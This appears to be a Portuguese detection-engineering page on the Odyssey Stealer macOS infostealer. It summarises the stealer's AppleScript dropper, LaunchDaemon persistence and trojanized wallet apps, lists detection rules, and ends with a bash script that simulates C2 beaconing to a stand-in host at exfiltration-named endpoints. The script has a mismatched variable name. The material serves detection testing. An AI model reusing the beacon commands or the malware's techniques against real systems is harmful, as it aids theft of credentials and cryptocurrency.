Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Odyssey Stealer é um infostealer para macOS focado em carteiras de criptomoedas e extensões. Ele é comercializado como uma plataforma Malware-as-a-Service onde afiliados alugam acesso a um C2 centralizado e painel de administração. A entrega geralmente depende de AppleScript ofuscado que instala um LaunchDaemon persistente que consulta o C2 para comandos. O operador também pode substituir aplicativos legítimos da Ledger e Trezor por versões trojanizadas para capturar credenciais e dados de transações.
Investigação
Pesquisadores identificaram o C2 usando tags meta HTML únicas, hashes do corpo da página e um hash de favicon compartilhado. Eles mapearam dez hosts físicos em vários clusters de ASN, principalmente na Europa e nos Países Baixos. A dissecação do payload revelou um dropper AppleScript de múltiplos estágios, persistência de LaunchDaemon e um binário proxy SOCKS5 compilado em Go. Dados de configuração embutidos no dropper expuseram identificadores de afiliados e IDs de builds.
Mitigação
Observe atividades suspeitas de osascript, especialmente longas strings ofuscadas, arquivos plist de LaunchDaemon desconhecidos com rótulos aleatórios e solicitações POST de saída para endpoints “/log”. Alerta sobre binários gerados por LaunchDaemon e atividades suspeitas de SOCKS5. Verifique a assinatura de código para aplicações Ledger e Trezor, e bloqueie domínios e endereços IP conhecidos de C2. Treine os usuários para tratar prompts de senha inesperados e “atualizações de carteira” como de alto risco.
Resposta
Quando detectado, isole o sistema, termine o LaunchDaemon malicioso e remova aplicações de carteira trojanizadas. Capture o tráfego de rede para os domínios e IPs identificados do C2 para investigação, em seguida, redefina credenciais de criptomoeda expostas e altere senhas do macOS. Realize uma revisão forense completa para identificar artefatos adicionais.
Fluxo de Ataque
Detecções
Arquivamento de Suporte de Aplicativo do Shell do macOS (via cmdline)
Visualizar
MacOS Osascript Gerando Curl (via cmdline)
Visualizar
Shell do macOS Gravando no Diretório LaunchDaemons (via file_event)
Visualizar
IOCs (SourceIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (DestinationIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (HashSha256) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (HashMd5) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
Detecção Endpoint C2 do Odyssey Stealer [Servidor Web]
Visualizar
Odyssey Stealer: Detecção de AppleScript Ofuscado e Uso de Curl [Criação de Processo Linux]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Telemetria & Pré-voo deve ter passado.
-
Narrativa do Ataque & Comandos:
Um adversário implantou o Odyssey Stealer em uma estação de trabalho macOS. Após comprometer o usuário, o malware inicia um beacon para seu servidor C2 para baixar payloads adicionais e exfiltrar dados colhidos. O beacon usa ocurlbinário (binário Apple assinado) para emitir solicitações HTTP GET para os endpoints C2 definidos na regra. O atacante escolhe esses caminhos de URI específicos porque são curtos, se misturam com o tráfego web típico e evitam a detecção por soluções genéricas de filtragem de URL.Etapas:
- Resolva o nome do host C2 (simulado como
c2.odyssey.example.com). - Emita uma solicitação GET para
/d/aff123456– imita o endpoint de exfiltração de dados com um código de afiliado aleatório e token numérico. - Emita uma solicitação GET para
/api/v1/bot/– simula o batimento cardíaco de gerenciamento de bot. - Opcionalmente, envie uma solicitação para
/logpara emular o tráfego de registro interno usado pelo malware para relatórios de status.
- Resolva o nome do host C2 (simulado como
-
Script de Teste de Regressão: O seguinte script bash reproduz o tráfego exato necessário para acionar a regra de detecção.
#!/usr/bin/env bash # Simulação de beacon do Odyssey Stealer para validação de detecção # Requisitos: curl, proxy de rede configurado conforme etapas pré-voo C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuste para o endereço do seu proxy Squid # Função para enviar uma solicitação via proxy enviar_requisicao() { local path=$1 echo "[*] Enviando solicitação para https://${C2_HOST}${path} via proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Endpoint de exfiltração de dados (afiliado aleatório + dígitos) AFILIADO="aff$(shuf -i 1000-9999 -n 1)" DIGITOS=$(shuf -i 10000-99999 -n 1) enviar_requisicao "/d/${AFILIADO}${DIGITS}" # 2. Batimento cardíaco de gerenciamento de bot enviar_requisicao "/api/v1/bot/" # 3. Endpoint de registro opcional enviar_requisicao "/log" echo "[+] Simulação completa. Verifique os alertas no SIEM."Salve o script como
odyssey_beacon.sh, torne-o executável (chmod +x odyssey_beacon.sh), e execute-o na máquina de teste macOS. -
Comandos de Limpeza: Remova quaisquer arquivos temporários e opcionalmente desative o proxy para o usuário de teste.
# Desative as configurações de proxy para a interface Wi-Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Opcional) Pare o Squid se ele foi iniciado apenas para este teste # brew services stop squid echo "Configurações de proxy restauradas e Squid parado (se aplicável)."